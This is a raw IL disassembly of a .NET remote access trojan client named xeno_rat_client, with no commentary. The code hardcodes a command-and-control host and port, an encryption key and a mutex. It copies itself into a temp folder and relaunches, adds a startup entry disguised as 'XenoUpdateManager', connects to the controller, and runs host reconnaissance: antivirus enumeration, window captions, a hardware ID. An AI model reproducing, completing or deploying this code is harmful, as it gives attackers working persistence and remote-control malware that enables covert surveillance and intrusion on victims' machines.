0000509estloc.s 4
000050a0ldarg.0
000050a1ldflda <>u__1
000050a6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
000050acldarg.0
000050adldc.i4.m1
000050aedup
000050afstloc.0
000050b0stfld <>1__state
000050b5ldloca.s 4
000050b7call GetResult
000050bcpop
000050bdldarg.0
000050becall get_Now
000050c3stfld <lastSendTime>5__6
000050c8ldc.i4.s 10
000050cacall Delay
000050cfcallvirt GetAwaiter
000050d4stloc.s 7
000050d6ldloca.s 7
000050d8call get_IsCompleted
000050ddbrtrue.s IL_0265
000050dfldarg.0
000050e0ldc.i4.2
000050e1dup
000050e2stloc.0
000050e3stfld <>1__state
000050e8ldarg.0
000050e9ldloc.s 7
000050ebstfld <>u__2
000050f0ldarg.0
000050f1ldflda <>t__builder
000050f6ldloca.s 7
000050f8ldarg.0
000050f9call 0x2B000036
000050feleave.s IL_02c1
00005100ldarg.0
00005101ldfld <>u__2
00005106stloc.s 7
00005108ldarg.0
00005109ldflda <>u__2
0000510einitobj System.Runtime.CompilerServices.TaskAwaiter
00005114ldarg.0
00005115ldc.i4.m1
00005116dup
00005117stloc.0
00005118stfld <>1__state
0000511dldloca.s 7
0000511fcall GetResult
00005124ldarg.0
00005125ldfld <total>5__3
0000512aldarg.0
0000512bldfld size
00005130blt IL_005f
00005135ldarg.0
00005136ldfld <data>5__2
0000513bstloc.2
0000513cleave.s IL_02a6
0000513estloc.s 8
00005140ldarg.0
00005141ldc.i4.s -2
00005143stfld <>1__state
00005148ldarg.0
00005149ldnull
0000514astfld <data>5__2
0000514fldarg.0
00005150ldflda <>t__builder
00005155ldloc.s 8
00005157call SetException
0000515cleave.s IL_02c1
0000515eldarg.0
0000515fldc.i4.s -2
00005161stfld <>1__state
00005166ldarg.0
00005167ldnull
00005168stfld <data>5__2
0000516dldarg.0
0000516eldflda <>t__builder
00005173ldloc.2
00005174call SetResult
00005179ret
00004eb8

000051a4
000051a4<RecvAllAsync_ddos_unsafer>d__4::MoveNext:
000051a4ldarg.0
000051a5ldfld <>1__state
000051aastloc.0
000051abldarg.0
000051acldfld <>4__this
000051b1stloc.1
000051b2ldloc.0
000051b3brfalse IL_00b4
000051b8ldarg.0
000051b9ldarg.0
000051baldfld size
000051bfnewarr System.Byte
000051c4stfld <data>5__2
000051c9ldarg.0
000051caldc.i4.0
000051cbstfld <total>5__3
000051d0ldarg.0
000051d1ldarg.0
000051d2ldfld size
000051d7stfld <dataLeft>5__4
000051dccall get_Now
000051e1pop
000051e2call get_Now
000051e7pop
000051e8br IL_0101
000051edldloc.1
000051eeldfld sock
000051f3callvirt get_Connected
000051f8brtrue.s IL_005d
000051faldnull
000051fbstloc.2
000051fcleave IL_013b
00005201ldloc.1
00005202ldfld sock
00005207ldarg.0
00005208ldfld <data>5__2
0000520dldarg.0
0000520eldfld <total>5__3
00005213ldarg.0
00005214ldfld <dataLeft>5__4
00005219newobj .ctor
0000521eldc.i4.0
0000521fcall ReceiveAsync
00005224callvirt GetAwaiter
00005229stloc.s 4
0000522bldloca.s 4
0000522dcall get_IsCompleted
00005232brtrue.s IL_00d1
00005234ldarg.0
00005235ldc.i4.0
00005236dup
00005237stloc.0
00005238stfld <>1__state
0000523dldarg.0
0000523eldloc.s 4
00005240stfld <>u__1
00005245ldarg.0
00005246ldflda <>t__builder
0000524bldloca.s 4
0000524dldarg.0
0000524ecall 0x2B000037
00005253leave IL_0156
00005258ldarg.0
00005259ldfld <>u__1
0000525estloc.s 4
00005260ldarg.0
00005261ldflda <>u__1
00005266initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
0000526cldarg.0
0000526dldc.i4.m1
0000526edup
0000526fstloc.0
00005270stfld <>1__state
00005275ldloca.s 4
00005277call GetResult
0000527cstloc.3
0000527dldloc.3
0000527ebrtrue.s IL_00e5
00005280ldarg.0
00005281ldnull
00005282stfld <data>5__2
00005287br.s IL_0112
00005289ldarg.0
0000528aldarg.0
0000528bldfld <total>5__3
00005290ldloc.3
00005291add
00005292stfld <total>5__3
00005297ldarg.0
00005298ldarg.0
00005299ldfld <dataLeft>5__4
0000529eldloc.3
0000529fsub
000052a0stfld <dataLeft>5__4
000052a5ldarg.0
000052a6ldfld <total>5__3
000052abldarg.0
000052acldfld size
000052b1blt IL_0049
000052b6ldarg.0
000052b7ldfld <data>5__2
000052bcstloc.2
000052bdleave.s IL_013b
000052bfstloc.s 5
000052c1ldarg.0
000052c2ldc.i4.s -2
000052c4stfld <>1__state
000052c9ldarg.0
000052caldnull
000052cbstfld <data>5__2
000052d0ldarg.0
000052d1ldflda <>t__builder
000052d6ldloc.s 5
000052d8call SetException
000052ddleave.s IL_0156
000052dfldarg.0
000052e0ldc.i4.s -2
000052e2stfld <>1__state
000052e7ldarg.0
000052e8ldnull
000052e9stfld <data>5__2
000052eeldarg.0
000052efldflda <>t__builder
000052f4ldloc.2
000052f5call SetResult
000052faret
000051a4

00005324
00005324<SendAsync>d__9::MoveNext:
00005324ldarg.0
00005325ldfld <>1__state
0000532astloc.0
0000532bldarg.0
0000532cldfld <>4__this
00005331stloc.1
00005332ldloc.0
00005333brfalse.s IL_0029
00005335ldarg.0
00005336ldfld data
0000533bbrtrue.s IL_0029
0000533dldstr "data"
00005342ldstr "data can not be null!"
00005347newobj .ctor
0000534cthrow
0000534dnop
0000534eldloc.0
0000534fbrfalse IL_0130
00005354ldarg.0
00005355ldfld data
0000535acall Compress
0000535fstloc.3
00005360ldc.i4.0
00005361stloc.s 4
00005363ldarg.0
00005364ldfld data
00005369ldlen
0000536aconv.i4
0000536bstloc.s 5
0000536dldloc.3
0000536ebrfalse.s IL_005d
00005370ldloc.3
00005371ldlen
00005372conv.i4
00005373ldloc.s 5
00005375bge.s IL_005d
00005377ldarg.0
00005378ldloc.3
00005379stfld data
0000537eldc.i4.1
0000537fstloc.s 4
00005381ldc.i4.1
00005382newarr System.Byte
00005387dup
00005388ldc.i4.0
00005389ldloc.s 4
0000538bstelem.i1
0000538cstloc.s 6
0000538eldloc.s 4
00005390ldc.i4.1
00005391bne.un.s IL_0080
00005393ldloc.s 6
00005395ldloc.1
00005396ldloc.s 5
00005398call IntToBytes
0000539dcall Concat
000053a2stloc.s 6
000053a4ldarg.0
000053a5ldloc.s 6
000053a7ldarg.0
000053a8ldfld data
000053adcall Concat
000053b2stfld data
000053b7ldarg.0
000053b8ldarg.0
000053b9ldfld data
000053beldloc.1
000053bfldfld EncryptionKey
000053c4call Encrypt
000053c9stfld data
000053celdarg.0
000053cfldc.i4.1
000053d0newarr System.Byte
000053d5dup
000053d6ldc.i4.0
000053d7ldc.i4.3
000053d8stelem.i1
000053d9ldarg.0
000053daldfld data
000053dfcall Concat
000053e4stfld data
000053e9ldloc.1
000053ealdarg.0
000053ebldfld data
000053f0ldlen
000053f1conv.i4
000053f2call IntToBytes
000053f7stloc.s 7
000053f9ldarg.0
000053faldloc.s 7
000053fcldarg.0
000053fdldfld data
00005402call Concat
00005407stfld data
0000540cldloc.1
0000540dldfld sock
00005412ldarg.0
00005413ldfld data
00005418newobj .ctor
0000541dldc.i4.0
0000541ecall SendAsync
00005423callvirt GetAwaiter
00005428stloc.s 8
0000542aldloca.s 8
0000542ccall get_IsCompleted
00005431brtrue.s IL_014d
00005433ldarg.0
00005434ldc.i4.0
00005435dup
00005436stloc.0
00005437stfld <>1__state
0000543cldarg.0
0000543dldloc.s 8
0000543fstfld <>u__1
00005444ldarg.0
00005445ldflda <>t__builder
0000544aldloca.s 8
0000544cldarg.0
0000544dcall 0x2B000038
00005452leave.s IL_018b
00005454ldarg.0
00005455ldfld <>u__1
0000545astloc.s 8
0000545cldarg.0
0000545dldflda <>u__1
00005462initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00005468ldarg.0
00005469ldc.i4.m1
0000546adup
0000546bstloc.0
0000546cstfld <>1__state
00005471ldloca.s 8
00005473call GetResult
00005478pop
00005479ldc.i4.1
0000547astloc.2
0000547bleave.s IL_0177
0000547dpop
0000547eldc.i4.0
0000547fstloc.2
00005480leave.s IL_0177
00005482stloc.s 9
00005484ldarg.0
00005485ldc.i4.s -2
00005487stfld <>1__state
0000548cldarg.0
0000548dldflda <>t__builder
00005492ldloc.s 9
00005494call SetException
00005499leave.s IL_018b
0000549bldarg.0
0000549cldc.i4.s -2
0000549estfld <>1__state
000054a3ldarg.0
000054a4ldflda <>t__builder
000054a9ldloc.2
000054aacall SetResult
000054afret
00005324

000054f0
000054f0xeno_rat_client.Program::Main:
000054f0ldloca.s 0
000054f2call Create
000054f7stfld <>t__builder
000054fcldloca.s 0
000054feldc.i4.m1
000054ffstfld <>1__state
00005504ldloca.s 0
00005506ldflda <>t__builder
0000550bldloca.s 0
0000550dcall 0x2B000039
00005512ldloca.s 0
00005514ldflda <>t__builder
00005519call get_Task
0000551eret
000054f0

0000552c
0000552cxeno_rat_client.Program::CurrentDomain_UnhandledException:
0000552cldarg.1
0000552dcallvirt get_ExceptionObject
00005532isinst System.Exception
00005537stloc.0
00005538ldsfld Server
0000553dbrfalse IL_0097
00005542ldsfld Server
00005547ldfld subNodes
0000554ccallvirt GetEnumerator
00005551stloc.1
00005552br.s IL_007e
00005554ldloca.s 1
00005556call get_Current
0000555bstloc.2
0000555cldloc.2
0000555dldfld SockType
00005562ldc.i4.1
00005563bne.un.s IL_007e
00005565ldloc.2
00005566ldc.i4.1
00005567newarr System.Byte
0000556cdup
0000556dldc.i4.0
0000556eldc.i4.3
0000556fstelem.i1
00005570call get_UTF8
00005575ldloc.0
00005576callvirt get_Message
0000557bcall get_NewLine
00005580ldloc.0
00005581callvirt get_StackTrace
00005586call Concat
0000558bcallvirt GetBytes
00005590call Concat
00005595callvirt SendAsync
0000559acallvirt get_Result
0000559fpop
000055a0ldc.i4 1000
000055a5call Sleep
000055aaldloca.s 1
000055accall MoveNext
000055b1brtrue.s IL_0028
000055b3leave.s IL_0097
000055b5ldloca.s 1
000055b7constrained. valuetype Enumerator<class xeno_rat_client.Node>
000055bdcallvirt Dispose
000055c2endfinally
000055c3leave.s IL_009c
000055c5pop
000055c6leave.s IL_009c
000055c8call GetEntryAssembly
000055cdcallvirt get_Location
000055d2call Start
000055d7pop
000055d8call GetCurrentProcess
000055ddcallvirt Kill
000055e2ret
0000552c

0000560c
0000560cxeno_rat_client.Program::.cctor:
0000560cnewobj .ctor
00005611stsfld dllhandler
00005616ldstr "osocraft.ddns.net"
0000561bstsfld ServerIp
00005620ldc.i4 25566
00005625stsfld ServerPort
0000562aldc.i4.s 32
0000562cnewarr System.Byte
00005631dup
00005632ldtoken 630DCD2966C4336691125448BBB25B4FF412A49C732DB2C8ABC1B8581BD710DD
00005637call InitializeArray
0000563cstsfld EncryptionKey
00005641ldc.i4 5000
00005646stsfld delay
0000564bldstr "IAMAFUCKINGRAN"
00005650stsfld mutex_string
00005655ldc.i4 1
0000565astsfld DoStartup
0000565fldstr "temp"
00005664stsfld Install_path
00005669ldstr "Client"
0000566estsfld startup_name
00005673newobj .ctor
00005678stsfld ProcessLog
0000567dret
0000560c

0000568c
0000568cxeno_rat_client.Program::<Main>:
0000568cldarg.0
0000568dcall Main
00005692callvirt GetAwaiter
00005697stloc.0
00005698ldloca.s 0
0000569acall GetResult
0000569fret
0000568c

000056ac
000056ac<Main>d__11::MoveNext:
000056acldarg.0
000056adldfld <>1__state
000056b2stloc.0
000056b3ldloc.0
000056b4switch (IL_013e, IL_01d7, IL_0246, IL_0272, IL_0272, IL_0272, IL_0461)
000056d5call get_Out
000056danewobj .ctor
000056dfcall SetOut
000056e4call get_CurrentDomain
000056e9ldnull
000056ealdftn CurrentDomain_UnhandledException
000056f0newobj .ctor
000056f5callvirt add_UnhandledException
000056facall IsAdmin
000056ffbrfalse.s IL_0069
00005701ldsfld mutex_string
00005706ldstr "-admin"
0000570bcall Concat
00005710stsfld mutex_string
00005715ldsfld Install_path
0000571aldstr "nothingset"
0000571fcall op_Inequality
00005724brfalse.s IL_00ea
00005726ldstr "%"
0000572bldsfld Install_path
00005730ldstr "%\\XenoManager\\"
00005735call Concat
0000573acall ExpandEnvironmentVariables
0000573fstloc.2
00005740call GetCurrentDirectory
00005745ldloc.2
00005746call op_Inequality
0000574bbrfalse.s IL_00e5
0000574dcall GetEntryAssembly
00005752callvirt get_Location
00005757stloc.3
00005758ldloc.2
00005759call Exists
0000575ebrtrue.s IL_00bb
00005760ldloc.2
00005761call CreateDirectory
00005766pop
00005767ldloc.3
00005768ldloc.2
00005769ldloc.3
0000576acall GetFileName
0000576fcall Concat
00005774call Copy
00005779ldloc.2
0000577aldloc.3
0000577bcall GetFileName
00005780call Concat
00005785call Start
0000578apop
0000578bldc.i4.0
0000578ccall Exit
00005791leave.s IL_00ea
00005793pop
00005794leave.s IL_00ea
00005796ldc.i4.1
00005797ldsfld mutex_string
0000579cldloca.s 1
0000579enewobj .ctor
000057a3pop
000057a4ldloc.1
000057a5brtrue.s IL_0100
000057a7leave IL_04c1
000057acldsfld delay
000057b1call Delay
000057b6callvirt GetAwaiter
000057bbstloc.s 4
000057bdldloca.s 4
000057bfcall get_IsCompleted
000057c4brtrue.s IL_015b
000057c6ldarg.0
000057c7ldc.i4.0
000057c8dup
000057c9stloc.0
000057castfld <>1__state
000057cfldarg.0
000057d0ldloc.s 4
000057d2stfld <>u__1
000057d7ldarg.0
000057d8ldflda <>t__builder
000057ddldloca.s 4
000057dfldarg.0
000057e0call 0x2B00003A
000057e5leave IL_04d4
000057ealdarg.0
000057ebldfld <>u__1
000057f0stloc.s 4
000057f2ldarg.0
000057f3ldflda <>u__1
000057f8initobj System.Runtime.CompilerServices.TaskAwaiter
000057feldarg.0
000057ffldc.i4.m1
00005800dup
00005801stloc.0
00005802stfld <>1__state
00005807ldloca.s 4
00005809call GetResult
0000580eldsfld DoStartup
00005813ldc.i4.1
00005814bne.un IL_026b
00005819ldsfld startup_name
0000581eldstr "nothingset"
00005823call op_Equality
00005828brfalse.s IL_0188
0000582aldstr "XenoUpdateManager"
0000582fstsfld startup_name
00005834call IsAdmin
00005839brfalse.s IL_01fe
0000583bcall GetEntryAssembly
00005840callvirt get_Location
00005845ldsfld startup_name
0000584acall AddToStartupAdmin
0000584fcallvirt GetAwaiter
00005854stloc.s 5
00005856ldloca.s 5
00005858call get_IsCompleted
0000585dbrtrue.s IL_01f4
0000585fldarg.0
00005860ldc.i4.1
00005861dup
00005862stloc.0
00005863stfld <>1__state
00005868ldarg.0
00005869ldloc.s 5
0000586bstfld <>u__2
00005870ldarg.0
00005871ldflda <>t__builder
00005876ldloca.s 5
00005878ldarg.0
00005879call 0x2B00003B
0000587eleave IL_04d4
00005883ldarg.0
00005884ldfld <>u__2
00005889stloc.s 5
0000588bldarg.0
0000588cldflda <>u__2
00005891initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005897ldarg.0
00005898ldc.i4.m1
00005899dup
0000589astloc.0
0000589bstfld <>1__state
000058a0ldloca.s 5
000058a2call GetResult
000058a7pop
000058a8br.s IL_026b
000058aacall GetEntryAssembly
000058afcallvirt get_Location
000058b4ldsfld startup_name
000058b9call AddToStartupNonAdmin
000058becallvirt GetAwaiter
000058c3stloc.s 5
000058c5ldloca.s 5
000058c7call get_IsCompleted
000058ccbrtrue.s IL_0263
000058celdarg.0
000058cfldc.i4.2
000058d0dup
000058d1stloc.0
000058d2stfld <>1__state
000058d7ldarg.0
000058d8ldloc.s 5
000058dastfld <>u__2
000058dfldarg.0
000058e0ldflda <>t__builder
000058e5ldloca.s 5
000058e7ldarg.0
000058e8call 0x2B00003B
000058edleave IL_04d4
000058f2ldarg.0
000058f3ldfld <>u__2
000058f8stloc.s 5
000058faldarg.0
000058fbldflda <>u__2
00005900initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00005906ldarg.0
00005907ldc.i4.m1
00005908dup
00005909stloc.0
0000590astfld <>1__state
0000590fldloca.s 5
00005911call GetResult
00005916pop
00005917ldarg.0
00005918ldc.i4.0
00005919stfld <>7__wrap2
0000591enop
0000591fldloc.0
00005920ldc.i4.3
00005921sub
00005922switch (IL_02de, IL_0354, IL_03c5)
00005933ldarg.0
00005934ldc.i4.2
00005935ldc.i4.1
00005936ldc.i4.6
00005937newobj .ctor
0000593cstfld <socket>5__4
00005941ldarg.0
00005942ldfld <socket>5__4
00005947ldsfld ServerIp
0000594cldsfld ServerPort
00005951call ConnectAsync
00005956callvirt GetAwaiter
0000595bstloc.s 4
0000595dldloca.s 4
0000595fcall get_IsCompleted
00005964brtrue.s IL_02fb
00005966ldarg.0
00005967ldc.i4.3
00005968dup
00005969stloc.0
0000596astfld <>1__state
0000596fldarg.0
00005970ldloc.s 4
00005972stfld <>u__1
00005977ldarg.0
00005978ldflda <>t__builder
0000597dldloca.s 4
0000597fldarg.0
00005980call 0x2B00003A
00005985leave IL_04d4
0000598aldarg.0
0000598bldfld <>u__1
00005990stloc.s 4
00005992ldarg.0
00005993ldflda <>u__1
00005998initobj System.Runtime.CompilerServices.TaskAwaiter
0000599eldarg.0
0000599fldc.i4.m1
000059a0dup
000059a1stloc.0
000059a2stfld <>1__state
000059a7ldloca.s 4
000059a9call GetResult
000059aeldarg.0
000059afldfld <socket>5__4
000059b4ldsfld EncryptionKey
000059b9ldc.i4.0
000059baldc.i4.0
000059bbldnull
000059bcldftn OnDisconnect
000059c2newobj .ctor
000059c7call ConnectAndSetupAsync
000059cccallvirt GetAwaiter
000059d1stloc.s 6
000059d3ldloca.s 6
000059d5call get_IsCompleted
000059dabrtrue.s IL_0371
000059dcldarg.0
000059ddldc.i4.4
000059dedup
000059dfstloc.0
000059e0stfld <>1__state
000059e5ldarg.0
000059e6ldloc.s 6
000059e8stfld <>u__3
000059edldarg.0
000059eeldflda <>t__builder
000059f3ldloca.s 6
000059f5ldarg.0
000059f6call 0x2B00003C
000059fbleave IL_04d4
00005a00ldarg.0
00005a01ldfld <>u__3
00005a06stloc.s 6
00005a08ldarg.0
00005a09ldflda <>u__3
00005a0einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00005a14ldarg.0
00005a15ldc.i4.m1
00005a16dup
00005a17stloc.0
00005a18stfld <>1__state
00005a1dldloca.s 6
00005a1fcall GetResult
00005a24stsfld Server
00005a29ldsfld Server
00005a2eldsfld dllhandler
00005a33newobj .ctor
00005a38callvirt Type0Receive
00005a3dcallvirt GetAwaiter
00005a42stloc.s 4
00005a44ldloca.s 4
00005a46call get_IsCompleted
00005a4bbrtrue.s IL_03e2
00005a4dldarg.0
00005a4eldc.i4.5
00005a4fdup
00005a50stloc.0
00005a51stfld <>1__state
00005a56ldarg.0
00005a57ldloc.s 4
00005a59stfld <>u__1
00005a5eldarg.0
00005a5fldflda <>t__builder
00005a64ldloca.s 4
00005a66ldarg.0
00005a67call 0x2B00003A
00005a6cleave IL_04d4
00005a71ldarg.0
00005a72ldfld <>u__1
00005a77stloc.s 4
00005a79ldarg.0
00005a7aldflda <>u__1
00005a7finitobj System.Runtime.CompilerServices.TaskAwaiter
00005a85ldarg.0
00005a86ldc.i4.m1
00005a87dup
00005a88stloc.0
00005a89stfld <>1__state
00005a8eldloca.s 4
00005a90call GetResult
00005a95ldarg.0
00005a96ldnull
00005a97stfld <socket>5__4
00005a9cleave.s IL_0405
00005a9estloc.s 7
00005aa0ldarg.0
00005aa1ldloc.s 7
00005aa3stfld <>7__wrap1
00005aa8ldarg.0
00005aa9ldc.i4.1
00005aaastfld <>7__wrap2
00005aafleave.s IL_0405
00005ab1ldarg.0
00005ab2ldfld <>7__wrap2
00005ab7stloc.s 8
00005ab9ldloc.s 8
00005abbldc.i4.1
00005abcbne.un IL_049c
00005ac1ldarg.0
00005ac2ldarg.0
00005ac3ldfld <>7__wrap1
00005ac8castclass System.Exception
00005acdstfld <e>5__5
00005ad2ldc.i4 10000
00005ad7call Delay
00005adccallvirt GetAwaiter
00005ae1stloc.s 4
00005ae3ldloca.s 4
00005ae5call get_IsCompleted
00005aeabrtrue.s IL_047e
00005aecldarg.0
00005aedldc.i4.6
00005aeedup
00005aefstloc.0
00005af0stfld <>1__state
00005af5ldarg.0
00005af6ldloc.s 4
00005af8stfld <>u__1
00005afdldarg.0
00005afeldflda <>t__builder
00005b03ldloca.s 4
00005b05ldarg.0
00005b06call 0x2B00003A
00005b0bleave.s IL_04d4
00005b0dldarg.0
00005b0eldfld <>u__1
00005b13stloc.s 4
00005b15ldarg.0
00005b16ldflda <>u__1
00005b1binitobj System.Runtime.CompilerServices.TaskAwaiter
00005b21ldarg.0
00005b22ldc.i4.m1
00005b23dup
00005b24stloc.0
00005b25stfld <>1__state
00005b2aldloca.s 4
00005b2ccall GetResult
00005b31ldarg.0
00005b32ldfld <e>5__5
00005b37callvirt get_Message
00005b3ccall WriteLine
00005b41ldarg.0
00005b42ldnull
00005b43stfld <e>5__5
00005b48ldarg.0
00005b49ldnull
00005b4astfld <>7__wrap1
00005b4fbr IL_026b
00005b54stloc.s 9
00005b56ldarg.0
00005b57ldc.i4.s -2
00005b59stfld <>1__state
00005b5eldarg.0
00005b5fldflda <>t__builder
00005b64ldloc.s 9
00005b66call SetException
00005b6bleave.s IL_04d4
00005b6dldarg.0
00005b6eldc.i4.s -2
00005b70stfld <>1__state
00005b75ldarg.0
00005b76ldflda <>t__builder
00005b7bcall SetResult
00005b80ret
000056ac

00005bdc
00005bdcxeno_rat_client.Utils::GetCaptionOfActiveWindowAsync:
00005bdcldloca.s 0
00005bdecall Create
00005be3stfld <>t__builder
00005be8ldloca.s 0
00005bealdc.i4.m1
00005bebstfld <>1__state
00005bf0ldloca.s 0
00005bf2ldflda <>t__builder
00005bf7ldloca.s 0
00005bf9call 0x2B00003D
00005bfeldloca.s 0
00005c00ldflda <>t__builder
00005c05call get_Task
00005c0aret
00005bdc

00005c18
00005c18xeno_rat_client.Utils::GetCaptionOfActiveWindow:
00005c18ldsfld Empty
00005c1dstloc.0
00005c1ecall GetForegroundWindow
00005c23stloc.1
00005c24ldloc.1
00005c25call GetWindowTextLength
00005c2aldc.i4.1
00005c2badd
00005c2cstloc.2
00005c2dldloc.2
00005c2enewobj .ctor
00005c33stloc.3
00005c34ldloc.1
00005c35ldloc.3
00005c36ldloc.2
00005c37call GetWindowText
00005c3cldc.i4.0
00005c3dble.s IL_002e
00005c3fldloc.3
00005c40callvirt ToString
00005c45stloc.0
00005c46nop
00005c47ldloc.1
00005c48ldloca.s 4
00005c4acall GetWindowThreadProcessId
00005c4fpop
00005c50ldloc.s 4
00005c52call GetProcessById
00005c57stloc.s 5
00005c59ldloc.0
00005c5aldstr ""
00005c5fcall op_Equality
00005c64brfalse.s IL_0058
00005c66ldloc.s 5
00005c68callvirt get_ProcessName
00005c6dstloc.0
00005c6ebr.s IL_006b
00005c70ldloc.s 5
00005c72callvirt get_ProcessName
00005c77ldstr " - "
00005c7cldloc.0
00005c7dcall Concat
00005c82stloc.0
00005c83ldloc.s 5
00005c85callvirt Dispose
00005c8aleave.s IL_0077
00005c8cpop
00005c8dleave.s IL_0077
00005c8fldloc.0
00005c90ret
00005c18

00005cb0
00005cb0xeno_rat_client.Utils::IsAdmin:
00005cb0ldc.i4.0
00005cb1stloc.0
00005cb2call IsUserAnAdmin
00005cb7stloc.0
00005cb8leave.s IL_000d
00005cbapop
00005cbbleave.s IL_000d
00005cbdldloc.0
00005cberet
00005cb0

00005cdc
00005cdcxeno_rat_client.Utils::GetAntivirus:
00005cdcnewobj .ctor
00005ce1stloc.0
00005ce2ldstr "\\\\"
00005ce7call get_MachineName
00005cecldstr "\\root\\SecurityCenter2"
00005cf1call Concat
00005cf6ldstr "SELECT * FROM AntivirusProduct"
00005cfbnewobj .ctor
00005d00stloc.1
00005d01ldloc.1
00005d02callvirt Get
00005d07callvirt GetEnumerator
00005d0cstloc.2
00005d0dbr.s IL_005f
00005d0fldloc.2
00005d10callvirt get_Current
00005d15dup
00005d16ldstr "displayName"
00005d1bcallvirt GetPropertyValue
00005d20callvirt ToString
00005d25stloc.3
00005d26ldloc.0
00005d27ldloc.3
00005d28callvirt Contains
00005d2dbrtrue.s IL_005a
00005d2fldloc.0
00005d30ldloc.3
00005d31callvirt Add
00005d36callvirt Dispose
00005d3bldloc.2
00005d3ccallvirt MoveNext
00005d41brtrue.s IL_0033
00005d43leave.s IL_0073
00005d45ldloc.2
00005d46brfalse.s IL_0072
00005d48ldloc.2
00005d49callvirt Dispose
00005d4eendfinally
00005d4fldloc.0
00005d50callvirt get_Count
00005d55brtrue.s IL_0086
00005d57ldloc.0
00005d58ldstr "N/A"
00005d5dcallvirt Add
00005d62leave.s IL_0092
00005d64ldloc.1
00005d65brfalse.s IL_0091
00005d67ldloc.1
00005d68callvirt Dispose
00005d6dendfinally
00005d6eldstr ", "
00005d73ldloc.0
00005d74call Join
00005d79stloc.s 4
00005d7bleave.s IL_00c4
00005d7dpop
00005d7eldloc.0
00005d7fcallvirt get_Count
00005d84brtrue.s IL_00b5
00005d86ldloc.0
00005d87ldstr "N/A"
00005d8ccallvirt Add
00005d91ldstr ", "
00005d96ldloc.0
00005d97call Join
00005d9cstloc.s 4
00005d9eleave.s IL_00c4
00005da0ldloc.s 4
00005da2ret
00005cdc

00005dd8
00005dd8xeno_rat_client.Utils::GetWindowsVersion:
00005dd8ldstr ""
00005dddstloc.0
00005ddeldstr "SELECT * FROM Win32_OperatingSystem"
00005de3newobj .ctor
00005de8stloc.1
00005de9ldloc.1
00005deacallvirt Get
00005defstloc.2
00005df0ldloc.2
00005df1brfalse.s IL_0078
00005df3ldloc.2
00005df4callvirt GetEnumerator
00005df9stloc.3
00005dfabr.s IL_005e
00005dfcldloc.3
00005dfdcallvirt get_Current
00005e02castclass System.Management.ManagementObject
00005e07stloc.s 4
00005e09ldloc.s 4
00005e0bldstr "Caption"
00005e10callvirt get_Item
00005e15callvirt ToString
00005e1aldstr " - "
00005e1fldloc.s 4
00005e21ldstr "OSArchitecture"
00005e26callvirt get_Item
00005e2bcallvirt ToString
00005e30call Concat
00005e35stloc.0
00005e36ldloc.3
00005e37callvirt MoveNext
00005e3cbrtrue.s IL_0024
00005e3eleave.s IL_0072
00005e40ldloc.3
00005e41brfalse.s IL_0071
00005e43ldloc.3
00005e44callvirt Dispose
00005e49endfinally
00005e4aldloc.2
00005e4bcallvirt Dispose
00005e50leave.s IL_0084
00005e52ldloc.1
00005e53brfalse.s IL_0083
00005e55ldloc.1
00005e56callvirt Dispose
00005e5bendfinally
00005e5cldloc.0
00005e5dret
00005dd8

00005e88
00005e88xeno_rat_client.Utils::HWID:
00005e88ldc.i4.5
00005e89newarr System.Object
00005e8edup
00005e8fldc.i4.0
00005e90call get_ProcessorCount
00005e95box System.Int32
00005e9astelem.ref
00005e9bdup
00005e9cldc.i4.1
00005e9dcall get_UserName
00005ea2stelem.ref
00005ea3dup
00005ea4ldc.i4.2
00005ea5call get_MachineName
00005eaastelem.ref
00005eabdup
00005eacldc.i4.3
00005eadcall get_OSVersion
00005eb2stelem.ref
00005eb3dup
00005eb4ldc.i4.4
00005eb5call get_SystemDirectory
00005ebacall GetPathRoot
00005ebfnewobj .ctor
00005ec4call get_TotalSize
00005ec9box System.Int64
00005ecestelem.ref
00005ecfcall Concat
00005ed4call GetHash
00005ed9stloc.0
00005edaleave.s IL_005d
00005edcpop
00005eddldstr "UNKNOWN"
00005ee2stloc.0
00005ee3leave.s IL_005d
00005ee5ldloc.0
00005ee6ret
00005e88

00005f04
00005f04xeno_rat_client.Utils::GetHash:
00005f04newobj .ctor
00005f09call get_ASCII
00005f0eldarg.0
00005f0fcallvirt GetBytes
00005f14stloc.0
00005f15ldloc.0
00005f16callvirt ComputeHash
00005f1bstloc.0
00005f1cnewobj .ctor
00005f21stloc.1
00005f22ldloc.0
00005f23stloc.2
00005f24ldc.i4.0
00005f25stloc.3
00005f26br.s IL_0040
00005f28ldloc.2
00005f29ldloc.3
00005f2aldelem.u1
00005f2bstloc.s 4
00005f2dldloc.1
00005f2eldloca.s 4
00005f30ldstr "x2"
00005f35call ToString
00005f3acallvirt Append
00005f3fpop
00005f40ldloc.3
00005f41ldc.i4.1
00005f42add
00005f43stloc.3
00005f44ldloc.3
00005f45ldloc.2
00005f46ldlen
00005f47conv.i4
00005f48blt.s IL_0024
00005f4aldloc.1
00005f4bcallvirt ToString
00005f50ldc.i4.0
00005f51ldc.i4.s 20
00005f53callvirt Substring
00005f58callvirt ToUpper
00005f5dret
00005f04

00005f6c
00005f6cxeno_rat_client.Utils::ConnectAndSetupAsync:
00005f6cldloca.s 0
00005f6ecall Create
00005f73stfld <>t__builder
00005f78ldloca.s 0
00005f7aldarg.0
00005f7bstfld sock
00005f80ldloca.s 0
00005f82ldarg.1
00005f83stfld key
00005f88ldloca.s 0
00005f8aldarg.2
00005f8bstfld type
00005f90ldloca.s 0
00005f92ldarg.3
00005f93stfld ID
00005f98ldloca.s 0
00005f9aldarg.s 4
00005f9cstfld OnDisconnect
00005fa1ldloca.s 0
00005fa3ldc.i4.m1
00005fa4stfld <>1__state
00005fa9ldloca.s 0
00005fabldflda <>t__builder
00005fb0ldloca.s 0
00005fb2call 0x2B00003E
00005fb7ldloca.s 0
00005fb9ldflda <>t__builder
00005fbecall get_Task
00005fc3ret
00005f6c

00005fd0
00005fd0xeno_rat_client.Utils::RemoveStartup:
00005fd0ldloca.s 0
00005fd2call Create
00005fd7stfld <>t__builder
00005fdcldloca.s 0
00005fdeldarg.0
00005fdfstfld executablePath
00005fe4ldloca.s 0
00005fe6ldc.i4.m1
00005fe7stfld <>1__state
00005fecldloca.s 0
00005feeldflda <>t__builder
00005ff3ldloca.s 0
00005ff5call 0x2B00003F
